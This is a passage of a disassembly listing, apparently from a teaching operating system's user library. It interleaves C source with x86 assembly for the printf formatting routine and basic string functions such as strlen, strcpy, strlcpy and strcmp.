switch (ch = *(unsigned char *) fmt++) {
800422: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '0';
800425: c6 45 d4 30 movb $0x30,-0x2c(%ebp)
800429: eb d0 jmp 8003fb <vprintfmt+0x35>
switch (ch = *(unsigned char *) fmt++) {
80042b: 0f b6 d2 movzbl %dl,%edx
80042e: 8b 7d e4 mov -0x1c(%ebp),%edi
for (precision = 0; ; ++fmt) {
800431: b8 00 00 00 00 mov $0x0,%eax
800436: 89 4d e4 mov %ecx,-0x1c(%ebp)
precision = precision * 10 + ch - '0';
800439: 8d 04 80 lea (%eax,%eax,4),%eax
80043c: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
ch = *fmt;
800440: 0f be 17 movsbl (%edi),%edx
if (ch < '0' || ch > '9')
800443: 8d 4a d0 lea -0x30(%edx),%ecx
800446: 83 f9 09 cmp $0x9,%ecx
800449: 77 55 ja 8004a0 <vprintfmt+0xda>
for (precision = 0; ; ++fmt) {
80044b: 83 c7 01 add $0x1,%edi
precision = precision * 10 + ch - '0';
80044e: eb e9 jmp 800439 <vprintfmt+0x73>
precision = va_arg(ap, int);
800450: 8b 45 14 mov 0x14(%ebp),%eax
800453: 8b 00 mov (%eax),%eax
800455: 89 45 d0 mov %eax,-0x30(%ebp)
800458: 8b 45 14 mov 0x14(%ebp),%eax
80045b: 8d 40 04 lea 0x4(%eax),%eax
80045e: 89 45 14 mov %eax,0x14(%ebp)
switch (ch = *(unsigned char *) fmt++) {
800461: 8b 7d e4 mov -0x1c(%ebp),%edi
if (width < 0)
800464: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
800468: 79 91 jns 8003fb <vprintfmt+0x35>
width = precision, precision = -1;
80046a: 8b 45 d0 mov -0x30(%ebp),%eax
80046d: 89 45 e0 mov %eax,-0x20(%ebp)
800470: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp)
800477: eb 82 jmp 8003fb <vprintfmt+0x35>
800479: 8b 45 e0 mov -0x20(%ebp),%eax
80047c: 85 c0 test %eax,%eax
80047e: ba 00 00 00 00 mov $0x0,%edx
800483: 0f 49 d0 cmovns %eax,%edx
800486: 89 55 e0 mov %edx,-0x20(%ebp)
switch (ch = *(unsigned char *) fmt++) {
800489: 8b 7d e4 mov -0x1c(%ebp),%edi
80048c: e9 6a ff ff ff jmp 8003fb <vprintfmt+0x35>
800491: 8b 7d e4 mov -0x1c(%ebp),%edi
altflag = 1;
800494: c7 45 d8 01 00 00 00 movl $0x1,-0x28(%ebp)
goto reswitch;
80049b: e9 5b ff ff ff jmp 8003fb <vprintfmt+0x35>
8004a0: 8b 4d e4 mov -0x1c(%ebp),%ecx
8004a3: 89 45 d0 mov %eax,-0x30(%ebp)
8004a6: eb bc jmp 800464 <vprintfmt+0x9e>
lflag++;
8004a8: 83 c1 01 add $0x1,%ecx
switch (ch = *(unsigned char *) fmt++) {
8004ab: 8b 7d e4 mov -0x1c(%ebp),%edi
goto reswitch;
8004ae: e9 48 ff ff ff jmp 8003fb <vprintfmt+0x35>
putch(va_arg(ap, int), putdat);
8004b3: 8b 45 14 mov 0x14(%ebp),%eax
8004b6: 8d 78 04 lea 0x4(%eax),%edi
8004b9: 83 ec 08 sub $0x8,%esp
8004bc: 53 push %ebx
8004bd: ff 30 pushl (%eax)
8004bf: ff d6 call *%esi
break;
8004c1: 83 c4 10 add $0x10,%esp
putch(va_arg(ap, int), putdat);
8004c4: 89 7d 14 mov %edi,0x14(%ebp)
break;
8004c7: e9 cf 02 00 00 jmp 80079b <vprintfmt+0x3d5>
err = va_arg(ap, int);
8004cc: 8b 45 14 mov 0x14(%ebp),%eax
8004cf: 8d 78 04 lea 0x4(%eax),%edi
8004d2: 8b 00 mov (%eax),%eax
8004d4: 99 cltd
8004d5: 31 d0 xor %edx,%eax
8004d7: 29 d0 sub %edx,%eax
if (err >= MAXERROR || (p = error_string[err]) == NULL)
8004d9: 83 f8 0f cmp $0xf,%eax
8004dc: 7f 23 jg 800501 <vprintfmt+0x13b>
8004de: 8b 14 85 c0 2b 80 00 mov 0x802bc0(,%eax,4),%edx
8004e5: 85 d2 test %edx,%edx
8004e7: 74 18 je 800501 <vprintfmt+0x13b>
printfmt(putch, putdat, "%s", p);
8004e9: 52 push %edx
8004ea: 68 06 2d 80 00 push $0x802d06
8004ef: 53 push %ebx
8004f0: 56 push %esi
8004f1: e8 b3 fe ff ff call 8003a9 <printfmt>
8004f6: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
8004f9: 89 7d 14 mov %edi,0x14(%ebp)
8004fc: e9 9a 02 00 00 jmp 80079b <vprintfmt+0x3d5>
printfmt(putch, putdat, "error %d", err);
800501: 50 push %eax
800502: 68 2b 29 80 00 push $0x80292b
800507: 53 push %ebx
800508: 56 push %esi
800509: e8 9b fe ff ff call 8003a9 <printfmt>
80050e: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
800511: 89 7d 14 mov %edi,0x14(%ebp)
printfmt(putch, putdat, "error %d", err);
800514: e9 82 02 00 00 jmp 80079b <vprintfmt+0x3d5>
if ((p = va_arg(ap, char *)) == NULL)
800519: 8b 45 14 mov 0x14(%ebp),%eax
80051c: 83 c0 04 add $0x4,%eax
80051f: 89 45 cc mov %eax,-0x34(%ebp)
800522: 8b 45 14 mov 0x14(%ebp),%eax
800525: 8b 38 mov (%eax),%edi
p = "(null)";
800527: 85 ff test %edi,%edi
800529: b8 24 29 80 00 mov $0x802924,%eax
80052e: 0f 44 f8 cmove %eax,%edi
if (width > 0 && padc != '-')
800531: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
800535: 0f 8e bd 00 00 00 jle 8005f8 <vprintfmt+0x232>
80053b: 80 7d d4 2d cmpb $0x2d,-0x2c(%ebp)
80053f: 75 0e jne 80054f <vprintfmt+0x189>
800541: 89 75 08 mov %esi,0x8(%ebp)
800544: 8b 75 d0 mov -0x30(%ebp),%esi
800547: 89 5d 0c mov %ebx,0xc(%ebp)
80054a: 8b 5d e0 mov -0x20(%ebp),%ebx
80054d: eb 6d jmp 8005bc <vprintfmt+0x1f6>
for (width -= strnlen(p, precision); width > 0; width--)
80054f: 83 ec 08 sub $0x8,%esp
800552: ff 75 d0 pushl -0x30(%ebp)
800555: 57 push %edi
800556: e8 6e 03 00 00 call 8008c9 <strnlen>
80055b: 8b 4d e0 mov -0x20(%ebp),%ecx
80055e: 29 c1 sub %eax,%ecx
800560: 89 4d c8 mov %ecx,-0x38(%ebp)
800563: 83 c4 10 add $0x10,%esp
putch(padc, putdat);
800566: 0f be 45 d4 movsbl -0x2c(%ebp),%eax
80056a: 89 45 e0 mov %eax,-0x20(%ebp)
80056d: 89 7d d4 mov %edi,-0x2c(%ebp)
800570: 89 cf mov %ecx,%edi
for (width -= strnlen(p, precision); width > 0; width--)
800572: eb 0f jmp 800583 <vprintfmt+0x1bd>
putch(padc, putdat);
800574: 83 ec 08 sub $0x8,%esp
800577: 53 push %ebx
800578: ff 75 e0 pushl -0x20(%ebp)
80057b: ff d6 call *%esi
for (width -= strnlen(p, precision); width > 0; width--)
80057d: 83 ef 01 sub $0x1,%edi
800580: 83 c4 10 add $0x10,%esp
800583: 85 ff test %edi,%edi
800585: 7f ed jg 800574 <vprintfmt+0x1ae>
800587: 8b 7d d4 mov -0x2c(%ebp),%edi
80058a: 8b 4d c8 mov -0x38(%ebp),%ecx
80058d: 85 c9 test %ecx,%ecx
80058f: b8 00 00 00 00 mov $0x0,%eax
800594: 0f 49 c1 cmovns %ecx,%eax
800597: 29 c1 sub %eax,%ecx
800599: 89 75 08 mov %esi,0x8(%ebp)
80059c: 8b 75 d0 mov -0x30(%ebp),%esi
80059f: 89 5d 0c mov %ebx,0xc(%ebp)
8005a2: 89 cb mov %ecx,%ebx
8005a4: eb 16 jmp 8005bc <vprintfmt+0x1f6>
if (altflag && (ch < ' ' || ch > '~'))
8005a6: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
8005aa: 75 31 jne 8005dd <vprintfmt+0x217>
putch(ch, putdat);
8005ac: 83 ec 08 sub $0x8,%esp
8005af: ff 75 0c pushl 0xc(%ebp)
8005b2: 50 push %eax
8005b3: ff 55 08 call *0x8(%ebp)
8005b6: 83 c4 10 add $0x10,%esp
for (; (ch = *p++) != '\0' && (precision < 0 || --precision >= 0); width--)
8005b9: 83 eb 01 sub $0x1,%ebx
8005bc: 83 c7 01 add $0x1,%edi
8005bf: 0f b6 57 ff movzbl -0x1(%edi),%edx
8005c3: 0f be c2 movsbl %dl,%eax
8005c6: 85 c0 test %eax,%eax
8005c8: 74 59 je 800623 <vprintfmt+0x25d>
8005ca: 85 f6 test %esi,%esi
8005cc: 78 d8 js 8005a6 <vprintfmt+0x1e0>
8005ce: 83 ee 01 sub $0x1,%esi
8005d1: 79 d3 jns 8005a6 <vprintfmt+0x1e0>
8005d3: 89 df mov %ebx,%edi
8005d5: 8b 75 08 mov 0x8(%ebp),%esi
8005d8: 8b 5d 0c mov 0xc(%ebp),%ebx
8005db: eb 37 jmp 800614 <vprintfmt+0x24e>
if (altflag && (ch < ' ' || ch > '~'))
8005dd: 0f be d2 movsbl %dl,%edx
8005e0: 83 ea 20 sub $0x20,%edx
8005e3: 83 fa 5e cmp $0x5e,%edx
8005e6: 76 c4 jbe 8005ac <vprintfmt+0x1e6>
putch('?', putdat);
8005e8: 83 ec 08 sub $0x8,%esp
8005eb: ff 75 0c pushl 0xc(%ebp)
8005ee: 6a 3f push $0x3f
8005f0: ff 55 08 call *0x8(%ebp)
8005f3: 83 c4 10 add $0x10,%esp
8005f6: eb c1 jmp 8005b9 <vprintfmt+0x1f3>
8005f8: 89 75 08 mov %esi,0x8(%ebp)
8005fb: 8b 75 d0 mov -0x30(%ebp),%esi
8005fe: 89 5d 0c mov %ebx,0xc(%ebp)
800601: 8b 5d e0 mov -0x20(%ebp),%ebx
800604: eb b6 jmp 8005bc <vprintfmt+0x1f6>
putch(' ', putdat);
800606: 83 ec 08 sub $0x8,%esp
800609: 53 push %ebx
80060a: 6a 20 push $0x20
80060c: ff d6 call *%esi
for (; width > 0; width--)
80060e: 83 ef 01 sub $0x1,%edi
800611: 83 c4 10 add $0x10,%esp
800614: 85 ff test %edi,%edi
800616: 7f ee jg 800606 <vprintfmt+0x240>
if ((p = va_arg(ap, char *)) == NULL)
800618: 8b 45 cc mov -0x34(%ebp),%eax
80061b: 89 45 14 mov %eax,0x14(%ebp)
80061e: e9 78 01 00 00 jmp 80079b <vprintfmt+0x3d5>
800623: 89 df mov %ebx,%edi
800625: 8b 75 08 mov 0x8(%ebp),%esi
800628: 8b 5d 0c mov 0xc(%ebp),%ebx
80062b: eb e7 jmp 800614 <vprintfmt+0x24e>
if (lflag >= 2)
80062d: 83 f9 01 cmp $0x1,%ecx
800630: 7e 3f jle 800671 <vprintfmt+0x2ab>
return va_arg(*ap, long long);
800632: 8b 45 14 mov 0x14(%ebp),%eax
800635: 8b 50 04 mov 0x4(%eax),%edx
800638: 8b 00 mov (%eax),%eax
80063a: 89 45 d8 mov %eax,-0x28(%ebp)
80063d: 89 55 dc mov %edx,-0x24(%ebp)
800640: 8b 45 14 mov 0x14(%ebp),%eax
800643: 8d 40 08 lea 0x8(%eax),%eax
800646: 89 45 14 mov %eax,0x14(%ebp)
if ((long long) num < 0) {
800649: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
80064d: 79 5c jns 8006ab <vprintfmt+0x2e5>
putch('-', putdat);
80064f: 83 ec 08 sub $0x8,%esp
800652: 53 push %ebx
800653: 6a 2d push $0x2d
800655: ff d6 call *%esi
num = -(long long) num;
800657: 8b 55 d8 mov -0x28(%ebp),%edx
80065a: 8b 4d dc mov -0x24(%ebp),%ecx
80065d: f7 da neg %edx
80065f: 83 d1 00 adc $0x0,%ecx
800662: f7 d9 neg %ecx
800664: 83 c4 10 add $0x10,%esp
base = 10;
800667: b8 0a 00 00 00 mov $0xa,%eax
80066c: e9 10 01 00 00 jmp 800781 <vprintfmt+0x3bb>
else if (lflag)
800671: 85 c9 test %ecx,%ecx
800673: 75 1b jne 800690 <vprintfmt+0x2ca>
return va_arg(*ap, int);
800675: 8b 45 14 mov 0x14(%ebp),%eax
800678: 8b 00 mov (%eax),%eax
80067a: 89 45 d8 mov %eax,-0x28(%ebp)
80067d: 89 c1 mov %eax,%ecx
80067f: c1 f9 1f sar $0x1f,%ecx
800682: 89 4d dc mov %ecx,-0x24(%ebp)
800685: 8b 45 14 mov 0x14(%ebp),%eax
800688: 8d 40 04 lea 0x4(%eax),%eax
80068b: 89 45 14 mov %eax,0x14(%ebp)
80068e: eb b9 jmp 800649 <vprintfmt+0x283>
return va_arg(*ap, long);
800690: 8b 45 14 mov 0x14(%ebp),%eax
800693: 8b 00 mov (%eax),%eax
800695: 89 45 d8 mov %eax,-0x28(%ebp)
800698: 89 c1 mov %eax,%ecx
80069a: c1 f9 1f sar $0x1f,%ecx
80069d: 89 4d dc mov %ecx,-0x24(%ebp)
8006a0: 8b 45 14 mov 0x14(%ebp),%eax
8006a3: 8d 40 04 lea 0x4(%eax),%eax
8006a6: 89 45 14 mov %eax,0x14(%ebp)
8006a9: eb 9e jmp 800649 <vprintfmt+0x283>
num = getint(&ap, lflag);
8006ab: 8b 55 d8 mov -0x28(%ebp),%edx
8006ae: 8b 4d dc mov -0x24(%ebp),%ecx
base = 10;
8006b1: b8 0a 00 00 00 mov $0xa,%eax
8006b6: e9 c6 00 00 00 jmp 800781 <vprintfmt+0x3bb>
if (lflag >= 2)
8006bb: 83 f9 01 cmp $0x1,%ecx
8006be: 7e 18 jle 8006d8 <vprintfmt+0x312>
return va_arg(*ap, unsigned long long);
8006c0: 8b 45 14 mov 0x14(%ebp),%eax
8006c3: 8b 10 mov (%eax),%edx
8006c5: 8b 48 04 mov 0x4(%eax),%ecx
8006c8: 8d 40 08 lea 0x8(%eax),%eax
8006cb: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
8006ce: b8 0a 00 00 00 mov $0xa,%eax
8006d3: e9 a9 00 00 00 jmp 800781 <vprintfmt+0x3bb>
else if (lflag)
8006d8: 85 c9 test %ecx,%ecx
8006da: 75 1a jne 8006f6 <vprintfmt+0x330>
return va_arg(*ap, unsigned int);
8006dc: 8b 45 14 mov 0x14(%ebp),%eax
8006df: 8b 10 mov (%eax),%edx
8006e1: b9 00 00 00 00 mov $0x0,%ecx
8006e6: 8d 40 04 lea 0x4(%eax),%eax
8006e9: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
8006ec: b8 0a 00 00 00 mov $0xa,%eax
8006f1: e9 8b 00 00 00 jmp 800781 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
8006f6: 8b 45 14 mov 0x14(%ebp),%eax
8006f9: 8b 10 mov (%eax),%edx
8006fb: b9 00 00 00 00 mov $0x0,%ecx
800700: 8d 40 04 lea 0x4(%eax),%eax
800703: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
800706: b8 0a 00 00 00 mov $0xa,%eax
80070b: eb 74 jmp 800781 <vprintfmt+0x3bb>
if (lflag >= 2)
80070d: 83 f9 01 cmp $0x1,%ecx
800710: 7e 15 jle 800727 <vprintfmt+0x361>
return va_arg(*ap, unsigned long long);
800712: 8b 45 14 mov 0x14(%ebp),%eax
800715: 8b 10 mov (%eax),%edx
800717: 8b 48 04 mov 0x4(%eax),%ecx
80071a: 8d 40 08 lea 0x8(%eax),%eax
80071d: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
800720: b8 08 00 00 00 mov $0x8,%eax
800725: eb 5a jmp 800781 <vprintfmt+0x3bb>
else if (lflag)
800727: 85 c9 test %ecx,%ecx
800729: 75 17 jne 800742 <vprintfmt+0x37c>
return va_arg(*ap, unsigned int);
80072b: 8b 45 14 mov 0x14(%ebp),%eax
80072e: 8b 10 mov (%eax),%edx
800730: b9 00 00 00 00 mov $0x0,%ecx
800735: 8d 40 04 lea 0x4(%eax),%eax
800738: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
80073b: b8 08 00 00 00 mov $0x8,%eax
800740: eb 3f jmp 800781 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
800742: 8b 45 14 mov 0x14(%ebp),%eax
800745: 8b 10 mov (%eax),%edx
800747: b9 00 00 00 00 mov $0x0,%ecx
80074c: 8d 40 04 lea 0x4(%eax),%eax
80074f: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
800752: b8 08 00 00 00 mov $0x8,%eax
800757: eb 28 jmp 800781 <vprintfmt+0x3bb>
putch('0', putdat);
800759: 83 ec 08 sub $0x8,%esp
80075c: 53 push %ebx
80075d: 6a 30 push $0x30
80075f: ff d6 call *%esi
putch('x', putdat);
800761: 83 c4 08 add $0x8,%esp
800764: 53 push %ebx
800765: 6a 78 push $0x78
800767: ff d6 call *%esi
num = (unsigned long long)
800769: 8b 45 14 mov 0x14(%ebp),%eax
80076c: 8b 10 mov (%eax),%edx
80076e: b9 00 00 00 00 mov $0x0,%ecx
goto number;
800773: 83 c4 10 add $0x10,%esp
(uintptr_t) va_arg(ap, void *);
800776: 8d 40 04 lea 0x4(%eax),%eax
800779: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
80077c: b8 10 00 00 00 mov $0x10,%eax
printnum(putch, putdat, num, base, width, padc);
800781: 83 ec 0c sub $0xc,%esp
800784: 0f be 7d d4 movsbl -0x2c(%ebp),%edi
800788: 57 push %edi
800789: ff 75 e0 pushl -0x20(%ebp)
80078c: 50 push %eax
80078d: 51 push %ecx
80078e: 52 push %edx
80078f: 89 da mov %ebx,%edx
800791: 89 f0 mov %esi,%eax
800793: e8 45 fb ff ff call 8002dd <printnum>
break;
800798: 83 c4 20 add $0x20,%esp
err = va_arg(ap, int);
80079b: 8b 7d e4 mov -0x1c(%ebp),%edi
while ((ch = *(unsigned char *) fmt++) != '%') { //先将非格式化字符输出到控制台。
80079e: 83 c7 01 add $0x1,%edi
8007a1: 0f b6 47 ff movzbl -0x1(%edi),%eax
8007a5: 83 f8 25 cmp $0x25,%eax
8007a8: 0f 84 2f fc ff ff je 8003dd <vprintfmt+0x17>
if (ch == '\0') //如果没有格式化字符直接返回
8007ae: 85 c0 test %eax,%eax
8007b0: 0f 84 8b 00 00 00 je 800841 <vprintfmt+0x47b>
putch(ch, putdat);
8007b6: 83 ec 08 sub $0x8,%esp
8007b9: 53 push %ebx
8007ba: 50 push %eax
8007bb: ff d6 call *%esi
8007bd: 83 c4 10 add $0x10,%esp
8007c0: eb dc jmp 80079e <vprintfmt+0x3d8>
if (lflag >= 2)
8007c2: 83 f9 01 cmp $0x1,%ecx
8007c5: 7e 15 jle 8007dc <vprintfmt+0x416>
return va_arg(*ap, unsigned long long);
8007c7: 8b 45 14 mov 0x14(%ebp),%eax
8007ca: 8b 10 mov (%eax),%edx
8007cc: 8b 48 04 mov 0x4(%eax),%ecx
8007cf: 8d 40 08 lea 0x8(%eax),%eax
8007d2: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
8007d5: b8 10 00 00 00 mov $0x10,%eax
8007da: eb a5 jmp 800781 <vprintfmt+0x3bb>
else if (lflag)
8007dc: 85 c9 test %ecx,%ecx
8007de: 75 17 jne 8007f7 <vprintfmt+0x431>
return va_arg(*ap, unsigned int);
8007e0: 8b 45 14 mov 0x14(%ebp),%eax
8007e3: 8b 10 mov (%eax),%edx
8007e5: b9 00 00 00 00 mov $0x0,%ecx
8007ea: 8d 40 04 lea 0x4(%eax),%eax
8007ed: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
8007f0: b8 10 00 00 00 mov $0x10,%eax
8007f5: eb 8a jmp 800781 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
8007f7: 8b 45 14 mov 0x14(%ebp),%eax
8007fa: 8b 10 mov (%eax),%edx
8007fc: b9 00 00 00 00 mov $0x0,%ecx
800801: 8d 40 04 lea 0x4(%eax),%eax
800804: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
800807: b8 10 00 00 00 mov $0x10,%eax
80080c: e9 70 ff ff ff jmp 800781 <vprintfmt+0x3bb>
putch(ch, putdat);
800811: 83 ec 08 sub $0x8,%esp
800814: 53 push %ebx
800815: 6a 25 push $0x25
800817: ff d6 call *%esi
break;
800819: 83 c4 10 add $0x10,%esp
80081c: e9 7a ff ff ff jmp 80079b <vprintfmt+0x3d5>
putch('%', putdat);
800821: 83 ec 08 sub $0x8,%esp
800824: 53 push %ebx
800825: 6a 25 push $0x25
800827: ff d6 call *%esi
for (fmt--; fmt[-1] != '%'; fmt--)
800829: 83 c4 10 add $0x10,%esp
80082c: 89 f8 mov %edi,%eax
80082e: eb 03 jmp 800833 <vprintfmt+0x46d>
800830: 83 e8 01 sub $0x1,%eax
800833: 80 78 ff 25 cmpb $0x25,-0x1(%eax)
800837: 75 f7 jne 800830 <vprintfmt+0x46a>
800839: 89 45 e4 mov %eax,-0x1c(%ebp)
80083c: e9 5a ff ff ff jmp 80079b <vprintfmt+0x3d5>
}
800841: 8d 65 f4 lea -0xc(%ebp),%esp
800844: 5b pop %ebx
800845: 5e pop %esi
800846: 5f pop %edi
800847: 5d pop %ebp
800848: c3 ret
00800849 <vsnprintf>:
int
vsnprintf(char *buf, int n, const char *fmt, va_list ap)
{
800849: 55 push %ebp
80084a: 89 e5 mov %esp,%ebp
80084c: 83 ec 18 sub $0x18,%esp
80084f: 8b 45 08 mov 0x8(%ebp),%eax
800852: 8b 55 0c mov 0xc(%ebp),%edx
struct sprintbuf b = {buf, buf+n-1, 0};
800855: 89 45 ec mov %eax,-0x14(%ebp)
800858: 8d 4c 10 ff lea -0x1(%eax,%edx,1),%ecx
80085c: 89 4d f0 mov %ecx,-0x10(%ebp)
80085f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if (buf == NULL || n < 1)
800866: 85 c0 test %eax,%eax
800868: 74 26 je 800890 <vsnprintf+0x47>
80086a: 85 d2 test %edx,%edx
80086c: 7e 22 jle 800890 <vsnprintf+0x47>
return -E_INVAL;
// print the string to the buffer
vprintfmt((void*)sprintputch, &b, fmt, ap);
80086e: ff 75 14 pushl 0x14(%ebp)
800871: ff 75 10 pushl 0x10(%ebp)
800874: 8d 45 ec lea -0x14(%ebp),%eax
800877: 50 push %eax
800878: 68 8c 03 80 00 push $0x80038c
80087d: e8 44 fb ff ff call 8003c6 <vprintfmt>
// null terminate the buffer
*b.buf = '\0';
800882: 8b 45 ec mov -0x14(%ebp),%eax
800885: c6 00 00 movb $0x0,(%eax)
return b.cnt;
800888: 8b 45 f4 mov -0xc(%ebp),%eax
80088b: 83 c4 10 add $0x10,%esp
}
80088e: c9 leave
80088f: c3 ret
return -E_INVAL;
800890: b8 fd ff ff ff mov $0xfffffffd,%eax
800895: eb f7 jmp 80088e <vsnprintf+0x45>
00800897 <snprintf>:
int
snprintf(char *buf, int n, const char *fmt, ...)
{
800897: 55 push %ebp
800898: 89 e5 mov %esp,%ebp
80089a: 83 ec 08 sub $0x8,%esp
va_list ap;
int rc;
va_start(ap, fmt);
80089d: 8d 45 14 lea 0x14(%ebp),%eax
rc = vsnprintf(buf, n, fmt, ap);
8008a0: 50 push %eax
8008a1: ff 75 10 pushl 0x10(%ebp)
8008a4: ff 75 0c pushl 0xc(%ebp)
8008a7: ff 75 08 pushl 0x8(%ebp)
8008aa: e8 9a ff ff ff call 800849 <vsnprintf>
va_end(ap);
return rc;
}
8008af: c9 leave
8008b0: c3 ret
008008b1 <strlen>:
// Primespipe runs 3x faster this way.
#define ASM 1
int
strlen(const char *s)
{
8008b1: 55 push %ebp
8008b2: 89 e5 mov %esp,%ebp
8008b4: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for (n = 0; *s != '\0'; s++)
8008b7: b8 00 00 00 00 mov $0x0,%eax
8008bc: eb 03 jmp 8008c1 <strlen+0x10>
n++;
8008be: 83 c0 01 add $0x1,%eax
for (n = 0; *s != '\0'; s++)
8008c1: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
8008c5: 75 f7 jne 8008be <strlen+0xd>
return n;
}
8008c7: 5d pop %ebp
8008c8: c3 ret
008008c9 <strnlen>:
int
strnlen(const char *s, size_t size)
{
8008c9: 55 push %ebp
8008ca: 89 e5 mov %esp,%ebp
8008cc: 8b 4d 08 mov 0x8(%ebp),%ecx
8008cf: 8b 55 0c mov 0xc(%ebp),%edx
int n;
for (n = 0; size > 0 && *s != '\0'; s++, size--)
8008d2: b8 00 00 00 00 mov $0x0,%eax
8008d7: eb 03 jmp 8008dc <strnlen+0x13>
n++;
8008d9: 83 c0 01 add $0x1,%eax
for (n = 0; size > 0 && *s != '\0'; s++, size--)
8008dc: 39 d0 cmp %edx,%eax
8008de: 74 06 je 8008e6 <strnlen+0x1d>
8008e0: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
8008e4: 75 f3 jne 8008d9 <strnlen+0x10>
return n;
}
8008e6: 5d pop %ebp
8008e7: c3 ret
008008e8 <strcpy>:
char *
strcpy(char *dst, const char *src)
{
8008e8: 55 push %ebp
8008e9: 89 e5 mov %esp,%ebp
8008eb: 53 push %ebx
8008ec: 8b 45 08 mov 0x8(%ebp),%eax
8008ef: 8b 4d 0c mov 0xc(%ebp),%ecx
char *ret;
ret = dst;
while ((*dst++ = *src++) != '\0')
8008f2: 89 c2 mov %eax,%edx
8008f4: 83 c1 01 add $0x1,%ecx
8008f7: 83 c2 01 add $0x1,%edx
8008fa: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
8008fe: 88 5a ff mov %bl,-0x1(%edx)
800901: 84 db test %bl,%bl
800903: 75 ef jne 8008f4 <strcpy+0xc>
/* do nothing */;
return ret;
}
800905: 5b pop %ebx
800906: 5d pop %ebp
800907: c3 ret
00800908 <strcat>:
char *
strcat(char *dst, const char *src)
{
800908: 55 push %ebp
800909: 89 e5 mov %esp,%ebp
80090b: 53 push %ebx
80090c: 8b 5d 08 mov 0x8(%ebp),%ebx
int len = strlen(dst);
80090f: 53 push %ebx
800910: e8 9c ff ff ff call 8008b1 <strlen>
800915: 83 c4 04 add $0x4,%esp
strcpy(dst + len, src);
800918: ff 75 0c pushl 0xc(%ebp)
80091b: 01 d8 add %ebx,%eax
80091d: 50 push %eax
80091e: e8 c5 ff ff ff call 8008e8 <strcpy>
return dst;
}
800923: 89 d8 mov %ebx,%eax
800925: 8b 5d fc mov -0x4(%ebp),%ebx
800928: c9 leave
800929: c3 ret
0080092a <strncpy>:
char *
strncpy(char *dst, const char *src, size_t size) {
80092a: 55 push %ebp
80092b: 89 e5 mov %esp,%ebp
80092d: 56 push %esi
80092e: 53 push %ebx
80092f: 8b 75 08 mov 0x8(%ebp),%esi
800932: 8b 4d 0c mov 0xc(%ebp),%ecx
800935: 89 f3 mov %esi,%ebx
800937: 03 5d 10 add 0x10(%ebp),%ebx
size_t i;
char *ret;
ret = dst;
for (i = 0; i < size; i++) {
80093a: 89 f2 mov %esi,%edx
80093c: eb 0f jmp 80094d <strncpy+0x23>
*dst++ = *src;
80093e: 83 c2 01 add $0x1,%edx
800941: 0f b6 01 movzbl (%ecx),%eax
800944: 88 42 ff mov %al,-0x1(%edx)
// If strlen(src) < size, null-pad 'dst' out to 'size' chars
if (*src != '\0')
src++;
800947: 80 39 01 cmpb $0x1,(%ecx)
80094a: 83 d9 ff sbb $0xffffffff,%ecx
for (i = 0; i < size; i++) {
80094d: 39 da cmp %ebx,%edx
80094f: 75 ed jne 80093e <strncpy+0x14>
}
return ret;
}
800951: 89 f0 mov %esi,%eax
800953: 5b pop %ebx
800954: 5e pop %esi
800955: 5d pop %ebp
800956: c3 ret
00800957 <strlcpy>:
size_t
strlcpy(char *dst, const char *src, size_t size)
{
800957: 55 push %ebp
800958: 89 e5 mov %esp,%ebp
80095a: 56 push %esi
80095b: 53 push %ebx
80095c: 8b 75 08 mov 0x8(%ebp),%esi
80095f: 8b 55 0c mov 0xc(%ebp),%edx
800962: 8b 4d 10 mov 0x10(%ebp),%ecx
800965: 89 f0 mov %esi,%eax
800967: 8d 5c 0e ff lea -0x1(%esi,%ecx,1),%ebx
char *dst_in;
dst_in = dst;
if (size > 0) {
80096b: 85 c9 test %ecx,%ecx
80096d: 75 0b jne 80097a <strlcpy+0x23>
80096f: eb 17 jmp 800988 <strlcpy+0x31>
while (--size > 0 && *src != '\0')
*dst++ = *src++;
800971: 83 c2 01 add $0x1,%edx
800974: 83 c0 01 add $0x1,%eax
800977: 88 48 ff mov %cl,-0x1(%eax)
while (--size > 0 && *src != '\0')
80097a: 39 d8 cmp %ebx,%eax
80097c: 74 07 je 800985 <strlcpy+0x2e>
80097e: 0f b6 0a movzbl (%edx),%ecx
800981: 84 c9 test %cl,%cl
800983: 75 ec jne 800971 <strlcpy+0x1a>
*dst = '\0';
800985: c6 00 00 movb $0x0,(%eax)
}
return dst - dst_in;
800988: 29 f0 sub %esi,%eax
}
80098a: 5b pop %ebx
80098b: 5e pop %esi
80098c: 5d pop %ebp
80098d: c3 ret
0080098e <strcmp>:
int
strcmp(const char *p, const char *q)
{
80098e: 55 push %ebp
80098f: 89 e5 mov %esp,%ebp
800991: 8b 4d 08 mov 0x8(%ebp),%ecx
800994: 8b 55 0c mov 0xc(%ebp),%edx
while (*p && *p == *q)
800997: eb 06 jmp 80099f <strcmp+0x11>
p++, q++;
800999: 83 c1 01 add $0x1,%ecx
80099c: 83 c2 01 add $0x1,%edx
while (*p && *p == *q)
80099f: 0f b6 01 movzbl (%ecx),%eax
8009a2: 84 c0 test %al,%al
8009a4: 74 04 je 8009aa <strcmp+0x1c>
8009a6: 3a 02 cmp (%edx),%al
8009a8: 74 ef je 800999 <strcmp+0xb>
